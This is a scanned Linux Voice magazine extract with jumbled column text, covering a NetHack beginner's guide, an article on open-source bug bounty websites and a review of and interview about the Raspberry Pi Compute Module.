In some ways, NetHack is a lot like Vi – it has been you become addicted to NetHack and your real-life
ported to nigh-on every platform in existence, and its productivity is obliterated.

26 www.linuxvoice.com
NETHACK FEATURE

The oldest still-developed game in existence?
####################################
Despite its name, NetHack isn’t an online game. It’s with others. Monsters often drop useful items when
based on an earlier dungeon-exploring romp called you kill them, although some items can have highly
Hack, which in turn was a descendant of a 1980 game negative effects if you don’t use them correctly. You’ll
called Rogue. NetHack’s first release arrived in 1987, find shops in the dungeon that are packed with
and although no new features have been added since potentially useful bits of kit, but don’t expect the
version 3.4.3 in 2003, various patches, add-ons and shopkeeper to give you great descriptions.
spin-offs are still doing the rounds on the web. This You’ve got to learn from experience. Some items
makes it arguably the oldest game that’s still being aren’t much use at all,
hacked on and played by a sizeable group of people.
Go to www.reddit.com/r/nethack to see what we
and the game is
packed with a mixture
“What makes NetHack so
mean – long-time NetHack players are still discussing of slapstick and sly compelling is the vast range of
new strategies, discoveries and tricks. Occasionally
you’ll see gleeful messages from old timers who have
humour – you can
even throw a cream
items crammed into the game.”
finally, after many long years, completed the game. pie into your own face.
But before you even set foot in the dungeon,
Never-ending story NetHack asks you what kind of player you want to be.
But how do you complete it? Well, NetHack is set in a You can take your journey as a knight, a monk, a
large and deep dungeon. You start at the top – level 1 wizard or even a humble tourist, among many other
– and your goal is to keep going down until you find an player types. They all have their own strengths and
item called the Amulet of Yendor. This is typically in weaknesses, and NetHack addicts love to try
level 20 or lower, but it can vary. As you traverse completing the game with the weaker types. (You
through and down the dungeon, you’ll meet all manner know, to show off to other players.) It also asks you
of monsters, traps and characters; some will try to kill what kind of “alignment” you want to have, eg lawful or
you, some will stay out of your way, and some… well, chaotic, which will impact how the beasts you
you don’t know until you get close to them. encounter respond to you.
What makes NetHack so compelling is the vast Before we get started with our first dungeon,
range of items crammed into the game. Weapons, familiarise yourself with the image below: you may be
armour, spell books, rings, gems – there’s so much to staring at something very similar for months and
learn, and many items only work best when combined years to come…

Navigate the NetHack interface
Messages
Because the graphics are limited,
actions and events in the game are
described at the top.

Objects
@: the player. k: a monster (kobold).
^: a trap. %: a corpse or food ration.
+: a closed door. {: a fountain. < and
>: steps up and down levels.

Rooms
The “.” characters signify empty
space. Hash (#) symbols show
corridors between rooms.

Status
Top line: your name, rank, strength,
dexterity, constitution (ability to
recover from injury), intelligence,
wisdom, charisma, and alignment.

www.linuxvoice.com 27
FEATURE NETHACK

Your first dungeon crawl
####################################
NetHack is available for almost every major OS and
Linux distribution in the world, so you should be able Spoilers don’t spoil the fun
to grab it with apt-get install nethack or yum install In NetHack parlance, “spoilers” provide information on
nethack or whatever is appropriate for your distro. monsters, items, weapons and armour. It’s technically
Then run it in a terminal window by just typing possible to complete the game without using them, but very
nethack. The game will ask if it should pick a player few players ever achieve this, as the game is monumentally
complex. Consequently it’s not regarded as bad form to use
type for you – but as a newcomer, it’s best if you
spoilers – but it’s still more fun to try to work things out
choose one of the tougher characters first. So hit “n” yourself first, and only consult the spoilers when you really
and then hit “v” to choose the Valkyrie type, and “d” to need them.
be a dwarf. A great source is www.statslab.cam.ac.uk/~eva/
NetHack will now give you some plot blurb, nethack/spoilerlist.html, which separates spoilers into
categories. For things that happen randomly in the game,
explaining that your god seeks the Amulet of Yendor,
such as the effects from drinking from fountains, it gives
so your goal is to retrieve it and present it to him. Hit you the odds of a certain thing happening.
Space when you’re done reading the text (and any
other time you see “--More--” on the screen). And here
we go – you’re in the dungeon! and tasty corpses before you get to them. Now, let’s
As described in the previous page, your character is go out of the room. There will be gaps around the
represented by an @ edge, and possibly “+” signs. That “+” is a closed door,

“If a monster leaves behind a sign. You can see the
walls of a room around
so go up to it and hit “o” to open. You will be asked for
a direction, so if the door is to the left of you, press “h”.
corpse (“%”), you can hit comma you, and the dot (And if the door is stuck, try opening it a few times.)

to take it and “e” to eat it.” characters depict
empty space in the
You’ll then end up in a corridor, marked by “#” symbols,
so walk around it until you find another room.
room. First of all, get On your travels you’ll see various items. Some, such
used to the movement keys: h, j, k and l. (Yes, it’s just as money (denoted by a “$” symbol) are picked up
like Vim, as covered in Linux Voice issue 3!) These automatically; for other items, you have to press the
move you left, down, up and right respectively. You can comma key while standing on them. If there are
also move diagonally with y, u, b and n. So walk around multiple items, you’ll be given a menu, so press the
the room until you get used to the controls. appropriate keys shown in the menu and then Enter to
choose what you want. At any time you can hit “i” to
What’s behind the door? bring up your inventory list – see the image below-left.
NetHack is turn-based, so if you’re not moving or
Hit “i” to bring up an
performing an action, the game stays still. This lets Scary monsters
inventory of your currently
you plan your moves in advance. You will see a “d” or What happens if you see a monster? At these early
carried items. You can use
the letters on the left of the “f” character moving around the room as well: this is stages of the game, the monsters you’re likely to come
items with item-specific your pet dog or cat, which (normally) won’t harm you across will be represented by “d”, “x” and “:” characters.
commands (such as “e” to and can assist you in killing monsters. Pets can be To attack, simply walk into them. The game will tell
eat). annoying though – they occasionally eat foot rations you if your attacks are successful using the messages
along the top – and also how the monster is
responding. These early monsters are simple to kill, so
you shouldn’t have any trouble defeating them, but
keep an eye on your HP (hit points – how much
damage you can take) in the status line at the bottom.
If a monster leaves behind a corpse (“%”), you can
hit comma to take it and then press “e” to eat it.
(Whenever you’re prompted to choose an item, you
can press its corresponding key from the inventory list,
or “?” to bring up a mini list.) Warning! Some corpses
are poisonous, and these are things you’ll learn on your
travels by trial and excruciating error.
If you’re exploring a corridor and appear to come to
a dead end, you can hit “s” to search until you find a
door. This can take ages, however, so you can speed
things up a bit: type “10” and then “s” and you will
perform 10 searches in a row. This takes up 10 moves

28 www.linuxvoice.com
NETHACK FEATURE

in game time, however, so if you’re hungry you could
get close to starvation!
Common items you’ll find in the top levels of the
dungeon are “{“ (fountains) and “!” (potions). For the
former, you can stand on it and hit “q” to “quaff” from it
– the effects can vary from useful to deadly. For
potions, pick them up and then use “q” to drink them. If
you find a shop, you can pick up items and then hit “p”
to pay before leaving. Use “d” to drop something.

Equip yourself
On your travels, and especially after you kill monsters,
you’ll find weapons and armour. Again, use comma to
pick these up, and then “w” (lowercase) to wield a
weapon or “W” (uppercase) to wear a piece of armour.
You can use “T” to remove armour and “t” to throw
weapons – handy if you’re in a very sticky situation.
Sometimes it’s useful to examine things from a
distance before getting close to them. Hit “;”
(semicolon) and “Pick an object” will appear at the top
of the screen. Use the movement keys until your view
lands on the thing you want to inspect, and then hit “:”
If you really can’t get on
(colon). A description will appear at the top. the chest. This is also an option for opening locked
with NetHack’s bare ASCII
As your goal is to go further down the dungeon until doors, although you can do yourself some damage, graphics, try Falcon’s Eye
you find the Amulet of Yendor, keep an eye out for “<” and shopkeepers will not be happy bunnies if they’re (http://falconseye.sf.net)
and “>” signs. These are stairs up and down closed for lunch and you smash down their doors… for a prettier bolt-on
respectively, and you can use the same keys to climb If you need a break and want to resume you current interface.
them. Note! Make sure your pet is standing in an game later, use Shift+s (capital S) to save, and then
adjacent square if you want it to follow you into the type #quit to exit. Next time you run NetHack, your
next level. game will be resumed.
Along with the commands we’ve mentioned so far, We won’t spoil what’s ahead, as many of the
there are some extra operations that begin with the “#” dungeon levels have amazing designs, characters and
(hash) character. For instance, if you come across a secrets. So we’ll leave you with three tips: if you come
chest or box, you can enter “#loot” when standing on across an item that completely baffles you, try
top of it to peek inside. If the box is locked, however, searching for it on the NetHack wiki at http://nethack.
and you don’t have a key, you need to use some good wikia.com. You’ll find an excellent (albeit very long)
old-fashioned brute force. Stand to one side of the box, guidebook at www.nethack.org/v343/Guidebook.
press Ctrl+d, and then a direction. This makes your html, and a highly useful cheat sheet of keyboard
player kick in the specified direction – if you do this commands on the inside back page of this very
correctly, and perhaps a few times, you will break open magazine. Happy exploring!

Stupid ways to die
A popular acronym amongst NetHack players is “YASD” – Yet
Another Stupid Death. It describes a situation where the
player buys the farm due to his/her own silliness or lack of
concentration. We’ve had many of these, but our favourite
went as follows:
We were browsing a shop, inspecting items, when a snake
suddenly jumped out from behind a potion. After killing the
snake, a message popped up saying that we were getting
hungry, so we opted to eat the snake’s corpse. Bad idea! This
made us blind, so we couldn’t see other characters or items in
the shop. We tried to get to the exit, but instead bumped into
the shopkeeper and accidentally attacked him. This made
him furious; he started firing magic missiles at us. We just
about managed to get into the corridor outside the shop, but
died from the onslaught.
If you come to any equally silly ends, let us know on
http://forums.linuxvoice.com. And don’t worry – nobody A familiar sight: your tombstone. After every death, you
will judge you. Dying like this is all part of growing up in the can find out more about unidentified items that you were
NetHack world. carrying, so you learn more about the game.

www.linuxvoice.com 29
FEATURE BUCKS FOR BUGS!

BUCKS FOR

Want to have your cake and eat it too? Mayank Sharma
explores bug bounty websites and how you can fill your
coffers and your karma at the same time.

B
ack in the American Wild West (or at least as was maintained by only a small group of volunteers
depicted by the films) when law enforcement with very little funding, and there was only one person
agencies didn’t have the resources to track working full-time on the project.
down outlaws, they offered cash rewards or bounties Experts estimate that the Heartbleed bug will cost
for their capture. Fast forward to the age of technology businesses tens of million of dollars in lost productivity
and companies are offering similar incentives with a as they update systems with safer versions of
small difference – the wanted outlaws are malicious OpenSSL. As a fallout of Heartbleed, a new group set
pieces of software code and the vigilantes after them up by the Linux Foundation has so far raised around
are a worldwide army of software developers. $3m (£1.7m) with contributions from tech companies
Several tech giants including Google,
including Google, Yahoo,
Microsoft and Facebook
“Several tech giants including Facebook, Microsoft,
Intel, IBM, Cisco and
offer bounties for Google, Yahoo and Facebook Amazon. These
weeding out and
eliminating bugs in their
offer bounties for weeding out companies will pitch in
$300,000 over the next
software. And bug and eliminating bugs.” three years. Besides
bounties aren’t limited to maintaining OpenSSL,
big software companies. the fund will also be
Open source software projects also offer bounties on used to support development of other crucial
bugs that plague their software. This may not make open-source software.
much sense at first, considering the benevolent nature
of the open source software development community, Scope of bounties
whose members work on projects to satisfy their own But what role do bug bounties play in the larger open
particular itch. source development ecosystem? We asked Tony
Perhaps the biggest example of this – organisations França, who runs FreedomSponsors (https://
clubbing together to fund the development of a feature freedomsponsors.org), which is one of the most
– has come out of the Heartbleed bug in OpenSSL. popular bug bounty websites dedicated to open
The OpenSSL project plays a crucial role in the proper source software. França explains that the effect of the
and secure functioning of the internet. Yet the project bounties varies greatly from project to project.

30 www.linuxvoice.com
BUCKS FOR BUGS! FEATURE

He illustrates by comparing LibreOffice with the Tony França pats
Jenkins project: “LibreOffice gets enough funding from himself on the back
companies, so the money coming from bug bounties every time he sees a
is really a small fraction of that. Now compare that new feature in software
with the Jenkins project where we have helped resolve that was made possible
12 of 88 issues. Jenkins officially adopted because of a bounty on
FreedomSponsors.
FreedomSponsors as a bug bounty platform (every
issue on their JIRA has a link to be sponsored on
FreedomSponsors). Because of that, they get more
bounties, but those are spread among more issues, so
it’s still not enough to get the developers’ attention to
an individual issue’s bounty.”
But there are some exceptions to this, especially
when a bug affects an important library. “There are
occasions where a feature is so important that
bounties start to add up organically. This is what
happened with the ‘OTR encryption support for
Telepathy’ feature. As far as I can tell, people just
randomly started to offer money for that feature, until Indiegogo, which have successfully hosted many open
a developer named Xavier Claessens went ahead and source fundraisers, the website’s CEO Warren Konkel
implemented it.” noted in an interview with OpenSource.com that
“So, generally speaking, bug bounties still play a FOSS needs a “better funding model that’s more
small role in the FOSS development ecosystem”, he aligned with how software is built.” Both BountySource
concludes. However, França believes that this is and FreedomSponsors integrate with services popular
mainly because of lack of marketing of the bounties: with developers, such as GitHub and Bugzilla.
“The users who realise that they can place bounties for Fundraisers on BountySource are time-limited
solutions to problems they see every day is still a small campaigns that aim to raise money for a specific goal,
group. But we’re growing. Slowly, but surely.” such as the next major release of an open source
Another bounty website specialising in open source application. Unlike other platforms, BountySource also
software is BountySource (www.bountysource.com). handles the pledge rewards for the project; so if a
In addition to encouraging end users and developers project is offering T-shirts to contributors, the website
to support their favourite projects with their wallets or will take care of the printing and shipping.
skills, the company also works with corporate donors However, when LV spoke to him, Konkel said that he
who are interested in certain open source projects that believes the future of crowdfunding in open source is a
are an integral part of their business. bounty-based model: “Issue trackers can quickly
The website currently hosts over 500 bounties become overwhelming and bounties allow backers to
ranging from $50 to well over $1,000. In addition to focus development efforts on the issues that matter
bounties, BountySource also hosts fundraisers for to them.” In the OpenSource.com interview Konkel
open source projects. Explaining its USP over notes that, generally speaking, there are more bounties
traditional crowdfunding platforms like Kickstarter and on bugs than on feature requests: “This seems to be
normal behaviour, as developers will often encounter a
bug and want an immediate resolution.”

Fostering interactions
Konkel adds that bounties often lead to a flurry of
comments that end up fleshing out the details behind
a feature request: “With bounties, developers can
quickly understand what a community is most
interested in seeing improved.”
Philip Horger, one of the leading contributors at
FreedomSponsors, illustrates the importance of
communication in creating effective bounties. When
he put up a bounty to improve the LibreOffice user
interface, a member of the actual LO team showed up
and advised everybody that sponsoring such a
wide-scope issue was, while an encouraging sign for
the developers, not a realistically useful way of making
user interface improvements happen. He advised that
Robert Roth is a Java developer who divides his free time Horger should in fact sponsor more specific
between playing the guitar and collecting bug bounties. improvements. “So I broke up my offer among more

www.linuxvoice.com 31
FEATURE BUCKS FOR BUGS!

person putting the bounty and the maintainers of the
project: “If you are willing to communicate and iterate
your patches, the contributions are always welcome.”
França, on the other hand, doesn’t see too many
discussions. “One would think that there would be a lot
of interaction between sponsors and developers on
bug bounties, but what happens is quite the opposite.
Most of the conversations we see on paid bounties
are just quick progress reports and people thanking
each other – there’s not much talk about how the
problem will be fixed.”
He pins this on two factors. For starters “when a
task comes to the point of being sponsored, it’s
already very well defined so there’s really no need to
discuss it further.” Secondly, he believes that a bug
bounty platform is not the right place to discuss
solutions: “You should use the project’s issue tracker
for that. It would be bad for project management if the
The Elementary OS
specific sponsorships and revoked the old one. The requirements for an issue were documented on
project uses the donations
it receives to put up total sponsorship was the same in the end, but more FreedomSponsors instead of the project’s own issue
bounties. usefully distributed.” tracker! I guess people just understand that and use
Robert Roth, a software developer from Romania, the right place for the right conversation.”
has worked on and collected several bounties on
BountySource. While working on the bounties of the Encouraging developers
Elementary OS project, Roth says the developers and Besides helping open source projects improve the
designers from the project provided useful feedback, quality of their software, bug bounties also offer an
usually in a matter of hours, and suggestions in case opportunity to young and talented developers to
the fixes were not perfect. That’s mostly because the showcase their skills and make some cash.
bounties were put up by the developers of the Roth, a full-time Java developer with a young family,
Elementary OS itself. “So the requests are valid became a bounty hunter when he was on the lookout
requests. You won’t have to convince the maintainers for some extra cash. “I was investigating how one
that a feature will be used, and they will most likely be could get paid for working on open source software,
accepted, after the fix is validated by a developer.” and found that there are various possibilities. Reading
This is in stark contrast to the bounties he has about all of them, I found that the option provided by
worked on for larger projects such as Gnome. “In BountySource was the best fit for me – getting paid
these cases usually the person putting up the bounty for occasional bugfixes, whenever I have time, while
validated the fix or requested various improvements improving free software by adding features and fixing
quickly, but with the maintainers being fairly busy, bugs that are important for other users.”
getting a proper review and getting the patch to be Recalling his motivations behind starting
accepted and committed takes longer (days, or even FreedomSponsors, França says that one day while
weeks, and even up to 1–2 months).” playing with an issue with Jenkins’ OpenID plugin, he
Roth concludes by saying that all the bounties he’s ran into a documented bug. “Maybe I could try to
worked on have received attention from both the debug it, but boy that would take a long time, I mean I

Bug bounties on the tech high street
A security hole in a big product such engineer in Brazil for unearthing an error
as Facebook could have far-reaching that could have allowed access to almost
consequences if the information made its way any file on Facebook’s servers. Yahoo too
to the cyberspace black market. Which is why wised up after a firm discovered four critical
a lot of tech companies announce bug bounty vulnerabilities in their offerings, and instead of
programs to encourage white hat security T-shirts now pays bounties of up to $15,000.
researchers and developers to share the Google has broadened its bug bounty
information in exchange for money and fame. program to cover all Chrome apps and
These public programs increase the extensions made by company. It has also
chances of discovering exploits and upped payments for its Patch Rewards
vulnerabilities. Companies including Program, which focuses on improving
Facebook, Google and Yahoo offer thousands security for select open source projects.
of pounds in rewards for finding software The company will now offer $5,000 for
vulnerabilities, based on how damaging the moderately complex patches, and $10,000 for
discovered vulnerabilities are. Facebook complicated improvements that prevent major From a security standpoint, public bug bounty programs lead to
recently awarded a bounty of $33,500 to an vulnerabilities in the code. broader coverage of scrutiny on the app.

32 www.linuxvoice.com
BUCKS FOR BUGS! FEATURE

Web www.bountysource.com Web http://freedomsponsors.org Web www.catincan.com
Funding model Bounty/All or Nothing Funding model Bounty Funding model All or Nothing
Fees 10% non-refundable fee for placing Fees 3% + payment processing fees Fees 10% after funding amount has
bounties Payments Bitcoin and PayPal been reached.
Payments Bitcoin, PayPal, cheque, About Enables several users to chip in Payments Bitcoin, PayPal, wire transfer
Google Wallet, wire transfer to a bounty. Bounties are paid only after About Only allows developers of existing
About Designed for crowdfunding bugs the sponsors have verified the work. projects to create campaigns. Features
and features in open source software, Uses PayPal’s parallel payment type to are screened and developers have 60
and is used to fund for new projects. split bounties between developers. days to reach the funding goal.

had never even looked at Jenkins code before. Then I projects can put up a bounty. While users not
thought there could be some people out there that associated with the project can make suggestions, a
would be willing to even pay a few bucks to whoever proposed feature cannot be shifted into funding mode
fixed it. The moment I thought that, a storm of ideas until one of the project developers is ready to take on
came rushing into my head. Someone should build a responsibility for completing it. This makes the
website for that. So I did.” platform ideal for managing feature requests and
Horger, who also donates directly to various creating funding opportunities for open source
projects, shares another interesting perspective projects. Also, the website doesn’t charge developers
comparing bounties with traditional donation. any fees for putting up a bounty.
“Sponsoring on FreedomSponsors is inherently more In contrast, both BountySource and
fine-grained and personal than donating. Your offer is FreedomSponsors are open to users and projects.
tied to a specific and achievable outcome, which Anyone can put up bounties, contribute to an existing
means you feel stake and responsibility in that bounty and collect the bounty after successfully
sponsorship’s success. It is more gratifying and squashing the bug.
tangible to be able to point to some distinct feature of In a reassuring sign that the system works, both
some popular program, and say to the person next to BountySource and FreedomSponsors use their
you, “I helped make that happen.” respective platforms to improve themselves by putting
Horger also has an interesting use for the bounties. up bounties on components that power them. The
He puts up bounties for his own projects! It might logo of FreedomSponsors, and its Bugzilla plugin, are
sound odd for a developer to pay others to do things two examples of improvements that came about this
he could more easily do himself. But Horger says way. BountySource too
rewarding external development allows him to foster a
community around his projects. This “not only will take
uses software that it
has helped fund, such
“A bounty is created either to
programming and maintenance load off of me in the as the JSHint syntax fix a bug in software or add a
long run, but also means that my projects can easily
live on if I get hit by a bus!”
checker, and also puts
up bounties on
feature to a project.”
software it uses
Putting up a bounty including Textmate and AngularJS.
All bug bounty websites function in a similar way. A At first glance, writing code for money seems to be
bounty is created either to fix a bug in software or add against the ethos of free and open source software.
a feature to a project. Once the bounty is created, But if you look at it, money has been a part of open
users can contribute towards that bounty. That’s when source for quite some time. Many open source
a developer comes along and fixes that bug or adds developers are paid by their employers to work on
that feature and checks the changes to the website open source software. Others have consulting
revision control system. Once the changes have been businesses around their projects. As long as good
merged into the project, the developer gets paid. quality code makes its way into a project and
Catincan (www.catincan.com) is another bug improves it, the motivations behind the code shouldn’t
bounty website that looks after open source projects. matter. Bug bounties provide the ideal avenue for
However, unlike the other two bug bounty websites, users to make identifiable contributions to their
only active developers on existing open source favourite projects.

www.linuxvoice.com 33
FEATURE RASPBERRY PI COMPUTE

RASPBERRY PI
Les Pounder gets exclusive access to the latest
board from the Raspberry Pi Foundation.

O
n 7 April the Raspberry Pi Foundation by the end user. The original Raspberry Pi form factor,
announced a new device to join the family. while meeting the needs of the end user, has been
But it was not what we were expecting: many adapted to serve the needs of various projects across
thought that there would be an upgrade to the the globe. It’s perfect for makers and hobbyists, but
hardware, with more the original Raspberry Pi
RAM and processing
power and an extra USB
“The original Raspberry Pi form form factor is not as
flexible as a smaller,
port, maybe. But instead factor is not as flexible as a more modular device
we got something very
different and totally
smaller, more modular device.” and this is where the
Compute Module comes
unforeseen. into its own.
The Compute Module is a full Raspberry Pi model A Linux Voice was privileged to get hold of a
shrunk down into a printed circuit board (PCB) the size development board from the Raspberry Pi Foundation
of a laptop SODIMM (small outline dual-inline memory as well as access to James Adams, the lead for this
module). The goal of the module is to put the project (who at the time was on paternity leave but still
technology of the Pi at the heart of commercial and responded to our emails) to grill him about the ideas
serious hobbyist ‘internet of things’ projects via a that formed this new device from the Raspberry Pi
smaller module that can be added to a PCB designed Foundation, and to find out what makes it so special.

34 www.linuxvoice.com
RASPBERRY PI COMPUTE FEATURE

Hi James, thanks for taking the time away
from your new baby to answer a few
questions about your other new baby. What was
the driving force that inspired the team to create
the Compute Module?
James Adams: It was a combination of factors.
When I joined The Raspberry Pi Foundation in
February 2013 to head up hardware design, I already
had in my mind that this kind of product would be
really great and allow people to leverage the Pi
software and hardware into new products and form
factors. Meanwhile there were also internal
discussions at the Foundation about creating a
smaller or more embeddable unit.
In the end we chose to go with the SODIMM module
form factor and provide something that, although it
requires a little expertise to use, is also extremely
flexible and allows a user to leverage all of the
interfaces of the BCM2835 chip. In fact we kind of see
More and more people are
the module a bit like a chip – you have to power it While we continue to keep our eye on what is out there
building the Raspberry Pi
correctly and wire it up the way you want, but we don’t have any plans currently for a spec bump. model A and B boards into
ultimately this makes it very flexible. Less is more! products, so the
The Compute’s target markets are Foundation knew that
Can you explain why you chose such a professional/commercial users. Do you have there was demand for the
radically different form factor for the any ideas for potential use cases? Compute Module.
Compute Module? JA: We can see so many use cases for the CM that it’s
JA: After we had decided that we wanted to create a hard to know where to begin. The Raspberry Pi (and
more embeddable Pi, it was really down to what the hence Compute Module) is a cheap and low-power
best connector solution and form factor for such a way to add network connectivity and compute and
device would be. The SODIMM form factor (and imaging horsepower to many types of product. Its
SODIMM connector) is a widely available and cheap Linux software stack is also actively developed and
way of providing the 200 pins of connectivity we now very stable. We expect to see a lot of ‘Internet Of
needed. It is also relatively small, robust, easy to use Things’ type applications. The other thing the
and impossible to connect the wrong way around, so BCM2835 [the chip at the heart of the Pi] does
is fairly foolproof. extremely well is video encode/decode and 3D
graphics. We see this being useful in digital signage
The Compute Module came as quite a applications, video recording and imaging applications
surprise to the community, with many and media players.
anticipating an increase in the Raspberry Pi
specs. Was this ever on the cards? The Raspberry Pi Foundation’s focus has
JA: We see the current Raspberry Pi as a long-term always been on education, so how does the
product. Rather than chase the bleeding edge, we’re Compute Module fit into this?
trying to provide a mature and feature-rich hardware JA: The core focus of the Foundation is and always
platform and software stack at the $25 and $35 price will be educating kids in computing, and the revenue
points (and $30 for the CM). This means sticking with stream generated by the Compute Module goes
the current hardware and SoC [system on a chip]. straight back into the Foundation to further these

Potential use cases
With new hardware comes lots of opportunities to hack and Compute module could easily be used with a custom
learn and the Compute Module is no exception. It has familiar PCB to integrate with LCD and LED matrix displays, while
hardware and software capabilities for Raspberry Pi-based enabling access to the camera for openCV-powered facial
hacking, so many of the tutorials and guides already available recognition. Attach a 3G or Wi-Fi dongle to the board and you
for the Raspberry Pi can be easily ported to work with it. have an internet-enabled display.
We asked a group of hackers and makers what they would Linux Voice contributor Jon Archer (also of RossLUG)
do with the new Compute module. Tim Gibbon, of RossLUG in suggests: “Now you can have a server farm in the comfort of
east Lancashire, suggested gigital signage: “We see digital your own home, a custom PCB that can link many Compute
signage in schools and shopping centres, and it is now so Modules so that they can work together. The amount of space
integrated into our lives that works of fiction such as the and power taken by this setup would be negligible compared
Minority Report are easily replicated using the Raspberry Pi. The to a full server solution.”

www.linuxvoice.com 35
FEATURE RASPBERRY PI COMPUTE

compute module and also as a platform for developers
to prototype up system designs with before they go to
the expense of creating a custom PCB for the
Compute Module. It provides the minimum possible
power chain, provides an easy way to program the
eMMC and then breaks all other CM interfaces out to
more friendly pin headers and FFC connectors.

Do the extra GPIO pins on the IO board
provide any extra features or special pins?
JA: The GPIOs on the BCM2835 can be set to be
either ‘straight’ GPIO – ie software-controlled inputs or
outputs – or set to one of a number of other hardware
interfaces such as I2C, SPI, UART, I2S etc. What you
get with these extra pins is more options for both
straight GPIO and the other interfaces.
There are also a few more undocumented interfaces
that will hopefully have some documentation released
for them fairly soon. Two of these are parallel display
The CMIO board that
aims. However we do understand the bigger picture, (DPI) and Secondary Memory Interface (SMI). Neither
accompanies the Compute
Module provides a host of what Pi has grown into and also that nurturing the of these interfaces are available on the Pi as they are
extra connectivity options community is very important to the success of the wide interfaces – eg SMI uses 16 data pins and
over the standard Pi – project. This community is not only providing the several control signals, DPI 16–24 bit data and
including 120 GPIO pins. required revenue stream for us to continue to meet our strobes. Both interfaces are also very useful, and will
charitable aims, but also feeding so much back. We allow even more options for attaching different
have so many volunteers doing everything from hardware to the CM once the relevant documentation
writing/improving the software on the Pi to running is released.
Raspberry Jams and doing their bit to educate kids in
computing. Back to the While it’s not a pin-compatible GPIO board
CM then, we see this as to the existing Pi, is it possible to connect a
“We see the Compute Module filling an obvious market board, for example Pibrella, PiBorg or others
as filling a market need and need and providing us
with valuable revenue. It
using jumper cables?
JA: Absolutely. The GPIO pins on the Raspberry Pi
providing us with revenue.” will also provide positive GPIO header are a subset of those available on the
feedback into the Pi BCM2835 (and therefore the CM and therefore CMIO
ecosystem in terms of third-party CM boards, driver headers). If you connect the right pins up with jumper
software etc, so really it was a no-brainer for us and wires theoretically it should just work. We aren’t really
does fit in well with what we are trying to achieve. expecting users to want to do this – if you want to use
a Pibrella, why not just buy a Raspberry Pi? What we
The Compute is only half of the package. expect is for users to add their own custom circuitry
Can you tell us about the IO board into with just the features they need for their application to
which the Compute is attached? a CMIO board; test it, and once the design is proven,
JA: The Compute Module IO Board (CMIO) is designed spin their own custom PCB.
to be both a reference design for how to wire up the
The IO board does not have any Ethernet
connectivity – why not?
GPIO pins & connectivity JA: The IO board is designed to break all of the CM
The original Raspberry Pi has 26 GPIO pins screens, such as the forthcoming interfaces out into a more prototype-friendly manner,
at your disposal, but the Compute increases Raspberry Pi Foundation screen. to provide power to the module and allow (re)
the available pins to 120, of which 45 can be The CAM connectors are for the official programming the eMMC and be as simple as possible
configured by the user. The remaining pins Raspberry Pi camera, but you cannot use the
in doing so. The Broadcom BCM2835 chip does not
are a mix of exclusive pins for certain official camera as is – if you already own a Pi
devices (USB OTG, TVDAC, Camera etc) and camera, you will need to purchase an adapter have native Ethernet, so neither does the CM or the
others are GND or 1v8 , 3v3 and 5v0. The as the connector is a few mm smaller than CMIO Board.
increase in pins brings with it a much larger that of the original Raspberry Pi. We spoke to On the Raspberry Pi, Ethernet is provided by a USB
scope for projects and experimentation. CPC (one of the Raspberry Pi’s distributors) to Ethernet + USB Hub bridge (LAN9512), which a user
On either side of the HDMI port are two about this adapter and it confirmed that it
can add to their CM-based product if that is what they
connectors: on the left of the HDMI they are will be stocking the adapter and bundling it
labelled DISP0 and DISP1; and to the right with Pi Cameras purchased after the release need. We are not trying to second guess what a user
CAM0 and CAM1. DISP connectors are of the Compute – do check to see if yours is might want to plug in to their development platform
reserved for connecting bespoke display there if you buy one. here, just provide the basic interfaces and let the user
add what they need for their application and no more.

36 www.linuxvoice.com
RASPBERRY PI COMPUTE FEATURE

Raspberry Pi Compute Module
The possibilities of a souped-up Raspberry Pi are mouthwatering – but is it right for
your project, or should you stick with the Model A or B? Les Pounder finds out.

T
he Compute Module is a typical SODIMM-
sized board that contains the Broadcom
BCM2835 chip found on the original
Raspberry Pi, with a few notable extras to extend its
functionality – most notably 4GB of onboard eMMC
flash storage and a USB OTG port, which is the only
way of copying an operating system to the internal
storage. To mount the internal flash storage you’ll
need to download a special tool from the Raspberry Pi
website; installing this tool and mounting the eMMC is
automatic from this point on. Now that the Compute
is mounted on your computer, you can use dd to
transfer an image across from your Linux box.
For this review we used the stock Raspbian image
as this is the most mature of the available distros
– please note that the NOOBS image is, at time of
writing, not really for use with the Compute. After the
Raspbian image was successfully installed on the The Compute Module is pretty much the shrunken guts of a Model A Raspberry Pi,
Compute, we unplugged it from our test machine and with some extras, and improved connectivity courtesy of the CMIO board.
set the kit up as per a normal Raspberry Pi installation.
The Compute Module’s boot sequence is identical to numbering is very clearly and logically laid out on the
a standard Raspberry Pi, except that the Compute is board. The Compute is a mighty beast for GPIO-based
DATA
much faster, owing to the on-board eMMC being projects and this is clearly its specialist area. Web
directly available, rather booting from an SD card. The Compute module is meant to be used with http://raspberrypi.org
expansion boards and PCBs created by the end user, Developer
Raspberry Pi Foundation
Boundless possibilities and the CMIO board from the Foundation is a means
Price
We started the LXDE desktop and ran the IDLE Python to access the hardware locked inside the it. These $200 - $250 for early
editor as root, then using the standard Rpi.GPIO user-created boards are yet to see the light of day, but developer kits. Price TBA
library for Python, were able to work with pins that there are a few Kickstarter projects based around the for individual units.
were not available on the Raspberry Pi. This is specifications of the Compute module – for example
something really awesome: in total there are 120 the OTTO hackable camera www.kickstarter.com/
GPIO pins on the board, split into two banks of 60 projects/1598272670/meet-otto-the-hackable-gif- CMIO CONNECTIONS
pins. From these 120 pins the user can adapt 45 pins camera.
to meet the needs of their project. The remaining pins The Compute and CMIO board provide a stable and • 200 pin SODIMM
are reserved for power, 1V8, 3V3 and 5V and Ground well supported platform for serious hardware connector for Compute
Module.
(GND). The use of I2C and SPI is also available via the development. It is a more challenging platform to
• Micro USB power.
GPIO in the same manner as the standard Raspberry work with, given the added complexity of flashing the • Micro USB On The Go
Pi. The CMIO board uses the Broadcom pin on board eMMC flash storage as opposed to the more (OTG) for connecting to
numbering sequence rather than the more common common SD card method. Once this hurdle is a computer.
logical board reference, but the Broadcom pin overcome, and it quickly will be, you are greeted with • USB 2.0 port.
• HDMI output.
the familiar Raspberry Pi experience that we know
• 2 Official Raspberry Pi
and love. This board is for serious development and Camera ports.
the early kits will be priced for serious development, • 2 Official Raspberry Pi
with the Foundation aiming to mass produce the Display ports.
boards in greater numbers and drive the cost down as • 120 GPIO pins, of which
45 can be used as
soon as possible.
inputs or outputs in
projects.
LINUX VOICE VERDICT • GPIO support for I2C,
SPI, UART I2S.
A great product that will build on • Multiple GPIO pins for
the support and knowledge of the 1v8, 3v3, 5v and GND.
existing Raspberry Pi community.
4GB may not seem like a lot of storage, but the Compute
Module is aimed at specialised embedded products.

www.linuxvoice.com 37
